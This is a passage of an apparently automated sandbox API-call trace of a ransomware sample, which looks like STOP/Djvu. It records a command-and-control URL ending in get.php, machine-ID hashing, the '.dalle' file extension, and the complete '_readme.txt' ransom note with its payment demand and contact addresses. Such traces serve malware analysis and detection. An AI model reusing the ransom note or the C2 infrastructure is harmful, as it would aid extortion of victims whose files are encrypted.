returned 0x3019030 [0116.639] lstrlenA (lpString="\" --AutoStart") returned 13 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6998 [0116.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019030 | out: hHeap=0x5e0000) returned 1 [0116.639] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe") returned 1 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6a60 [0116.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6998 | out: hHeap=0x5e0000) returned 1 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x28) returned 0x3011908 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x30055d0 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x3005838 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x3005aa0 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x3005d08 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2ffb340 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2ffb5a8 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe2c18 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe2e80 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe30e8 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe3350 [0116.640] lstrlenA (lpString="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php") returned 68 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8a) returned 0x6bfbe8 [0116.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30055d0, cbMultiByte=-1, lpWideCharStr=0x6bfbe8, cchWideChar=69 | out: lpWideCharStr="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php") returned 69 [0116.640] lstrcatW (in: lpString1="", lpString2="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php" | out: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php") returned="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php" [0116.640] lstrlenA (lpString="") returned 0 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x2) returned 0x2f95228 [0116.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3005838, cbMultiByte=-1, lpWideCharStr=0x2f95228, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0116.640] lstrcatW (in: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php", lpString2="" | out: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php") returned="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php" [0116.640] lstrlenA (lpString="") returned 0 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x2) returned 0x2f95218 [0116.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3005aa0, cbMultiByte=-1, lpWideCharStr=0x2f95218, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0116.640] lstrcatW (in: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php", lpString2="" | out: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php") returned="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php" [0116.640] lstrlenA (lpString="") returned 0 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x2) returned 0x2f95238 [0116.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3005d08, cbMultiByte=-1, lpWideCharStr=0x2f95238, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0116.640] lstrcatW (in: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php", lpString2="" | out: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php") returned="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php" [0116.640] lstrlenA (lpString="") returned 0 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x2) returned 0x2f95248 [0116.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ffb340, cbMultiByte=-1, lpWideCharStr=0x2f95248, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0116.640] lstrcatW (in: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php", lpString2="" | out: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php") returned="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php" [0116.640] lstrlenA (lpString="") returned 0 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x2) returned 0x2f952d8 [0116.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ffb5a8, cbMultiByte=-1, lpWideCharStr=0x2f952d8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0116.640] lstrcatW (in: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php", lpString2="" | out: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php") returned="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php" [0116.640] lstrlenA (lpString="") returned 0 [0116.640] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x2) returned 0x2f952b8 [0116.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fe2c18, cbMultiByte=-1, lpWideCharStr=0x2f952b8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0116.641] lstrcatW (in: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php", lpString2="" | out: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php") returned="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php" [0116.641] lstrlenA (lpString="") returned 0 [0116.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x2) returned 0x2f95278 [0116.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fe2e80, cbMultiByte=-1, lpWideCharStr=0x2f95278, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0116.641] lstrcatW (in: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php", lpString2="" | out: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php") returned="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php" [0116.641] lstrlenA (lpString="") returned 0 [0116.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x2) returned 0x2f95268 [0116.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fe30e8, cbMultiByte=-1, lpWideCharStr=0x2f95268, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0116.641] lstrcatW (in: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php", lpString2="" | out: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php") returned="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php" [0116.641] lstrlenA (lpString="") returned 0 [0116.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x2) returned 0x2f95288 [0116.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fe3350, cbMultiByte=-1, lpWideCharStr=0x2f95288, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0116.641] lstrcatW (in: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php", lpString2="" | out: lpString1="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php") returned="http://texet1.ug/ASUdy34576lUAd8756y90/Asd7356oisudfh345683g/get.php" [0116.641] lstrlenW (lpString="") returned 0 [0116.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x12) returned 0x6853b0 [0116.641] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x288) returned 0x2ffb810 [0116.641] GetAdaptersInfo (in: AdapterInfo=0x2ffb810, SizePointer=0x18ddfc | out: AdapterInfo=0x2ffb810, SizePointer=0x18ddfc) returned 0x0 [0116.652] GetAdaptersInfo (in: AdapterInfo=0x2ffb810, SizePointer=0x18ddfc | out: AdapterInfo=0x2ffb810, SizePointer=0x18ddfc) returned 0x0 [0116.655] GetLastError () returned 0x0 [0116.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1000) returned 0x2fe6c00 [0116.655] GetLastError () returned 0x0 [0116.655] GetLastError () returned 0x0 [0116.661] CryptAcquireContextW (in: phProv=0x18ddcc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18ddcc*=0x6c0170) returned 1 [0116.662] CryptCreateHash (in: hProv=0x6c0170, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18ddd4 | out: phHash=0x18ddd4) returned 1 [0116.662] CryptHashData (hHash=0x69b5c0, pbData=0x2fdf988, dwDataLen=0x11, dwFlags=0x0) returned 1 [0116.662] CryptGetHashParam (in: hHash=0x69b5c0, dwParam=0x2, pbData=0x0, pdwDataLen=0x18ddd0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18ddd0) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8c60 [0116.662] CryptGetHashParam (in: hHash=0x69b5c0, dwParam=0x2, pbData=0x2fc8c60, pdwDataLen=0x18ddd0, dwFlags=0x0 | out: pbData=0x2fc8c60, pdwDataLen=0x18ddd0) returned 1 [0116.662] GetLastError () returned 0x0 [0116.662] CryptDestroyHash (hHash=0x69b5c0) returned 1 [0116.662] CryptReleaseContext (hProv=0x6c0170, dwFlags=0x0) returned 1 [0116.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdf988 | out: hHeap=0x5e0000) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdae78 [0116.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6d5928 | out: hHeap=0x5e0000) returned 1 [0116.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c9b0 | out: hHeap=0x5e0000) returned 1 [0116.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414d40, lpParameter=0x45d9d0, dwCreationFlags=0x0, lpThreadId=0x45d9bc | out: lpThreadId=0x45d9bc*=0x350) returned 0x5a8 [0116.888] WaitForSingleObject (hHandle=0x5a8, dwMilliseconds=0xffffffff) returned 0x0 [0117.879] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x5ac [0117.879] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x28) returned 0x3011608 [0117.879] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe35b8 [0117.880] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe3820 [0117.880] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe3a88 [0117.880] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe3cf0 [0117.880] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe3f58 [0117.880] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe41c0 [0117.880] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe4428 [0117.880] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe4690 [0117.880] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe48f8 [0117.880] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe4b60 [0117.880] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f337b0 [0117.880] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x2ffb810 [0117.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds", cchWideChar=-1, lpMultiByteStr=0x2ffb810, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds", lpUsedDefaultChar=0x0) returned 41 [0117.880] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x2ffbc40 [0117.880] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffb810 | out: hHeap=0x5e0000) returned 1 [0117.880] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f337b0 | out: hHeap=0x5e0000) returned 1 [0117.880] CryptAcquireContextW (in: phProv=0x18de3c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18de3c*=0x6c0170) returned 1 [0117.881] CryptCreateHash (in: hProv=0x6c0170, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18de40 | out: phHash=0x18de40) returned 1 [0117.881] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds") returned 40 [0117.881] CryptHashData (hHash=0x3008ee0, pbData=0x2ffbc40, dwDataLen=0x28, dwFlags=0x0) returned 1 [0117.881] CryptGetHashParam (in: hHash=0x3008ee0, dwParam=0x2, pbData=0x0, pdwDataLen=0x18de44, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18de44) returned 1 [0117.881] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8c60 [0117.881] CryptGetHashParam (in: hHash=0x3008ee0, dwParam=0x2, pbData=0x2fc8c60, pdwDataLen=0x18de44, dwFlags=0x0 | out: pbData=0x2fc8c60, pdwDataLen=0x18de44) returned 1 [0117.881] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x34) returned 0x3008e60 [0117.881] GetLastError () returned 0x0 [0117.881] lstrcatA (in: lpString1="", lpString2="B8" | out: lpString1="B8") returned="B8" [0117.881] GetLastError () returned 0x0 [0117.881] lstrcatA (in: lpString1="B8", lpString2="69" | out: lpString1="B869") returned="B869" [0117.881] GetLastError () returned 0x0 [0117.881] lstrcatA (in: lpString1="B869", lpString2="45" | out: lpString1="B86945") returned="B86945" [0117.881] GetLastError () returned 0x0 [0117.881] lstrcatA (in: lpString1="B86945", lpString2="E4" | out: lpString1="B86945E4") returned="B86945E4" [0117.881] GetLastError () returned 0x0 [0117.881] lstrcatA (in: lpString1="B86945E4", lpString2="64" | out: lpString1="B86945E464") returned="B86945E464" [0117.881] GetLastError () returned 0x0 [0117.881] lstrcatA (in: lpString1="B86945E464", lpString2="47" | out: lpString1="B86945E46447") returned="B86945E46447" [0117.882] GetLastError () returned 0x0 [0117.882] lstrcatA (in: lpString1="B86945E46447", lpString2="04" | out: lpString1="B86945E4644704") returned="B86945E4644704" [0117.882] GetLastError () returned 0x0 [0117.882] lstrcatA (in: lpString1="B86945E4644704", lpString2="4C" | out: lpString1="B86945E46447044C") returned="B86945E46447044C" [0117.882] GetLastError () returned 0x0 [0117.882] lstrcatA (in: lpString1="B86945E46447044C", lpString2="DD" | out: lpString1="B86945E46447044CDD") returned="B86945E46447044CDD" [0117.882] GetLastError () returned 0x0 [0117.882] lstrcatA (in: lpString1="B86945E46447044CDD", lpString2="83" | out: lpString1="B86945E46447044CDD83") returned="B86945E46447044CDD83" [0117.882] GetLastError () returned 0x0 [0117.882] lstrcatA (in: lpString1="B86945E46447044CDD83", lpString2="27" | out: lpString1="B86945E46447044CDD8327") returned="B86945E46447044CDD8327" [0117.882] GetLastError () returned 0x0 [0117.882] lstrcatA (in: lpString1="B86945E46447044CDD8327", lpString2="D9" | out: lpString1="B86945E46447044CDD8327D9") returned="B86945E46447044CDD8327D9" [0117.882] GetLastError () returned 0x0 [0117.882] lstrcatA (in: lpString1="B86945E46447044CDD8327D9", lpString2="34" | out: lpString1="B86945E46447044CDD8327D934") returned="B86945E46447044CDD8327D934" [0117.882] GetLastError () returned 0x0 [0117.882] lstrcatA (in: lpString1="B86945E46447044CDD8327D934", lpString2="24" | out: lpString1="B86945E46447044CDD8327D93424") returned="B86945E46447044CDD8327D93424" [0117.882] GetLastError () returned 0x0 [0117.882] lstrcatA (in: lpString1="B86945E46447044CDD8327D93424", lpString2="B1" | out: lpString1="B86945E46447044CDD8327D93424B1") returned="B86945E46447044CDD8327D93424B1" [0117.882] GetLastError () returned 0x0 [0117.882] lstrcatA (in: lpString1="B86945E46447044CDD8327D93424B1", lpString2="6C" | out: lpString1="B86945E46447044CDD8327D93424B16C") returned="B86945E46447044CDD8327D93424B16C" [0117.882] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fc8c60 | out: hHeap=0x5e0000) returned 1 [0117.882] CryptDestroyHash (hHash=0x3008ee0) returned 1 [0117.882] CryptReleaseContext (hProv=0x6c0170, dwFlags=0x0) returned 1 [0117.882] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffbc40 | out: hHeap=0x5e0000) returned 1 [0117.882] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0117.882] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f337b0 [0117.882] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x28) returned 0x30115d8 [0117.882] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe4dc8 [0117.882] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe5030 [0117.882] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe5298 [0117.882] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe5500 [0117.886] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe5768 [0117.886] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe59d0 [0117.886] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe5c38 [0117.886] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe5ea0 [0117.886] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe6108 [0117.886] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe6370 [0117.886] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x816) returned 0x2ffb810 [0117.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18de48, cbMultiByte=-1, lpWideCharStr=0x2ffb810, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0117.886] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x2fe7c08 [0117.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffb810 | out: hHeap=0x5e0000) returned 1 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x28) returned 0x3011788 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe65d8 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2fe6840 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300af48 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300b1b0 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300b418 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300b680 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300b8e8 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300bb50 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300bdb8 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300c020 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x130) returned 0x2faead8 [0117.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1d0) returned 0x2ff6150 [0117.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2faead8 | out: hHeap=0x5e0000) returned 1 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x2b7) returned 0x2ffb810 [0117.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6150 | out: hHeap=0x5e0000) returned 1 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x412) returned 0x2ffbad0 [0117.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffb810 | out: hHeap=0x5e0000) returned 1 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x61a) returned 0x2fe8430 [0117.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffbad0 | out: hHeap=0x5e0000) returned 1 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x460) returned 0x2ffb810 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x10ac) returned 0x2ffd138 [0117.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ffb810, cbMultiByte=-1, lpWideCharStr=0x2ffd138, cchWideChar=2134 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned 1111 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x10b0) returned 0x2ffe1f0 [0117.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffd138 | out: hHeap=0x5e0000) returned 1 [0117.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffb810 | out: hHeap=0x5e0000) returned 1 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x28) returned 0x30117b8 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300c288 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300c4f0 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300c758 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300c9c0 [0117.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300cc28 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300ce90 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300d0f8 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300d360 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300d5c8 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x300d830 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80c) returned 0x2ffb810 [0117.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18de48, cbMultiByte=-1, lpWideCharStr=0x2ffb810, cchWideChar=1030 | out: lpWideCharStr=".dalle") returned 7 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x2fe8a58 [0117.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffb810 | out: hHeap=0x5e0000) returned 1 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x2fdfbe0 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x18) returned 0x2fc8ca0 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdae08 [0117.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fc8ca0 | out: hHeap=0x5e0000) returned 1 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33818 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x48) returned 0x3010988 [0117.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdae08 | out: hHeap=0x5e0000) returned 1 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef260 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33748 [0117.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3010988 | out: hHeap=0x5e0000) returned 1 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde320 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2fff2a8 [0117.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33748 | out: hHeap=0x5e0000) returned 1 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde378 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef2f0 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd8) returned 0x2f78dc0 [0117.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fff2a8 | out: hHeap=0x5e0000) returned 1 [0117.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, 